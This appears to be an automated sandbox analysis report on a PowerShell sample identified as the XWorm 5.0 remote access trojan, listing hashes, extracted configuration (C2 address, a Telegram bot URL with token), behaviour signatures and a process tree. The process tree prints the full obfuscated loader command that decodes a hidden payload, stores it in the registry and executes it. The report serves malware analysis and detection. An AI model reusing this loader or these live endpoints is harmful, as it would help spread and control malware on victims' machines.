Analysis

  • max time kernel
    141s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/03/2025, 15:11

General

  • Target

    aliu1.ps1

  • Size

    1.6MB

  • MD5

    4a319c9e02e40a2b6e8351b8a29fce00

  • SHA1

    8402349210dbc3878be22625c374b821d148d70b

  • SHA256

    4f43e8d90f82a6556d354a707fcbd355528755c0089e254ad249694855f26047

  • SHA512

    abecb6b8b3fbcc7b67e7a5cb3da0dda9309e4f0044da79206e818db718d7cea73202704ba9f1ae6c928e11e26b832cae8dca932688373bea76af4e4346b2f5be

  • SSDEEP

    24576:vfyaQV6q4wOViv+ZinOIHtr1bqeNhI2LXteG4UGG28mcbYAJfQUKw4wNgUQkcf3o:ePOViycbrWg974PGhbZCwNc6uu

Malware Config

Extracted

Family

xworm

Version

5.0

C2

193.32.177.63:6000

Mutex

wwD0bshguVCRSd3k

Attributes
  • install_file

    USB.exe

  • telegram

    https://api.telegram.org/bot7238632531:AAGCQZAh03hAwOcuP9HUeoAP5AQV0o0tp24/sendMessage?chat_id=8080837794

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 13 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\aliu1.ps1
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3312
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\winupdate.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:tMHryVWCxy;$path = $path.Trim();try {$_1 = Get-Content -Path $path.Substring(1, $path.Length - 2) -ErrorAction Stop;} catch {$_1 = Get-Content -Path $path}$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name '$phantom-frZZfx' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4856

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wbesi2yk.sid.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\winupdate.bat

    Filesize

    4.3MB

    MD5

    c827b11ddab8f04af88ad75cf10ce5c3

    SHA1

    8ccd314ee72a96772cc6040e9c626332a18ff2d0

    SHA256

    e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5

    SHA512

    73bbdfe7555c49893674339b967f6515471ae83043d9c5ca9772828f0877c2827cace3c24bae99da393864e35dc91268ab7fc5a969fb65cb10a3da23dceb6f32

  • memory/3312-20-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB

  • memory/3312-17-0x00007FFBF2220000-0x00007FFBF22DE000-memory.dmp

    Filesize

    760KB

  • memory/3312-12-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB

  • memory/3312-13-0x000001D16A6E0000-0x000001D16A6E8000-memory.dmp

    Filesize

    32KB

  • memory/3312-14-0x000001D16B670000-0x000001D16B7A2000-memory.dmp

    Filesize

    1.2MB

  • memory/3312-15-0x000001D16B7A0000-0x000001D16B7F8000-memory.dmp

    Filesize

    352KB

  • memory/3312-10-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB

  • memory/3312-16-0x00007FFBF2DB0000-0x00007FFBF2FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3312-18-0x000001D16A850000-0x000001D16A856000-memory.dmp

    Filesize

    24KB

  • memory/3312-19-0x00007FFBD4E73000-0x00007FFBD4E75000-memory.dmp

    Filesize

    8KB

  • memory/3312-11-0x000001D16A750000-0x000001D16A772000-memory.dmp

    Filesize

    136KB

  • memory/3312-0-0x00007FFBD4E73000-0x00007FFBD4E75000-memory.dmp

    Filesize

    8KB

  • memory/3312-36-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB

  • memory/4856-35-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB

  • memory/4856-38-0x000001E1B43A0000-0x000001E1B43A8000-memory.dmp

    Filesize

    32KB

  • memory/4856-37-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB

  • memory/4856-25-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB

  • memory/4856-39-0x000001E1B5190000-0x000001E1B52CC000-memory.dmp

    Filesize

    1.2MB

  • memory/4856-40-0x00007FFBF2DB0000-0x00007FFBF2FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/4856-41-0x00007FFBF2220000-0x00007FFBF22DE000-memory.dmp

    Filesize

    760KB

  • memory/4856-42-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB

  • memory/4856-43-0x000001E1B4480000-0x000001E1B4490000-memory.dmp

    Filesize

    64KB

  • memory/4856-44-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB

  • memory/4856-45-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

    Filesize

    10.8MB